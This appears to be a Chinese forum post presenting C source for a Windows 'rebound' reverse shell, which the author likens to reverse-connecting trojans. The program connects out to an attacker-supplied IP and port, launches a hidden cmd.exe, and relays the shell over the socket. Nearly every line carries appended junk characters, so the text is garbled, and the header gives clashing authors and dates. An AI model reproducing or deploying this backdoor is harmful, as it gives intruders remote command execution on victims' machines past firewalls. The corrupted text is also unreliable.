这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :7*\|2zA
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/* ============================== -ZJ:<
Rebound port in Windows NT Gl9 a5b
By wind,2006/7 wu'60po
===============================*/ ]z NL+]1_
#include LnIJw D
#include $%t
roQIP%h!
#pragma comment(lib,"wsock32.lib") VlvDodV
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void OutputShell(); EB,>k1IJ
SOCKET sClient; ]B[Qdn
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "5bk82."
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void main(int argc,char **argv) vS<e/e+
{ 4f5$^uN$qA
WSADATA stWsaData; a[De
int nRet; gUQCKNw
SOCKADDR_IN stSaiClient,stSaiServer; j+seJg<_
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if(argc != 3) >dY"B$A>
{ lN"rhZ
printf("Useage:\n\rRebound DestIP DestPort\n"); Stpho4+/y
return; Ho|n\7$
} nK$m:=
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WSAStartup(MAKEWORD(2,2),&stWsaData); ZO^+KE"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S/aPYrk>6
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stSaiClient.sin_family = AF_INET; yE>DQ *
stSaiClient.sin_port = htons(0); 5E8PbV-l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); eS|p3jk;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X:5*LB\/v
{ ^,gKA\Wli
printf("Bind Socket Failed!\n"); !)]3@$#
return; glpdYg *
} `{":*V
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stSaiServer.sin_family = AF_INET; 8wd2\J,]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R_}(p2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) + h&V;
{ h2]Od(^[
printf("Connect Error!"); zb (u?U
return; `JCC-\9T_
} Qt$Q/<8U
OutputShell(); VTdZ&%@
} Z8W<RiR
V
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void OutputShell() s_N!6$tS
{ O%I'
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; DzEixE-
OSVERSIONINFO stOsversionInfo; X}Lp!.i9o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lbY>R@5
STARTUPINFO stStartupInfo; Jor?;qo3
char *szShell; 8V nZ@*
PROCESS_INFORMATION stProcessInformation; =}[V69a
unsigned long lBytesRead; f]4gDmn^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jZGmTtx
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T&%>/7I>
stSecurityAttributes.lpSecurityDescriptor = 0; Y!H"LI
stSecurityAttributes.bInheritHandle = TRUE; xab[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -mXEbsm
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n| %{R|s
[T|~Kh%#
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Yr!3mU-Uvt
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "6ZatRUd
stStartupInfo.wShowWindow = SW_HIDE; ~(c<ioIf
stStartupInfo.hStdInput = hReadPipe; @ 9uwcM1F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2yNlQP8%
rRMC<.=
GetVersionEx(&stOsversionInfo); $]9d((u4
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switch(stOsversionInfo.dwPlatformId) 4 ClW*l
{ `]Xbw^Y'x
case 1: SWu=n1J.?H
szShell = "command.com"; 1\BECP+
break; sXFD]cF
default: OG.`\G|
szShell = "cmd.exe"; Gr_I/+<
break; &EMm<(.]a
} X'5te0v`3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tY7u\Y;^
_K8-O>I "
send(sClient,szMsg,77,0); =(o$1v/k
while(1) iU &V}p
{ OS3J,f}<=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e='3gzz
if(lBytesRead) Qtk'^Fc
{ niFjsTA.Z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Yy&0b(m U
send(sClient,szBuff,lBytesRead,0); `jJb) z3D
} Jyd%!v
else h"[
][
{ 6ik6JL$AI
lBytesRead=recv(sClient,szBuff,1024,0); HLS^Ga,(
if(lBytesRead<=0) break; P)T:6K
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5~qr+la
} re<"%D
} 9J<KR#M
{MIs%w.G
return; 3M^ /
}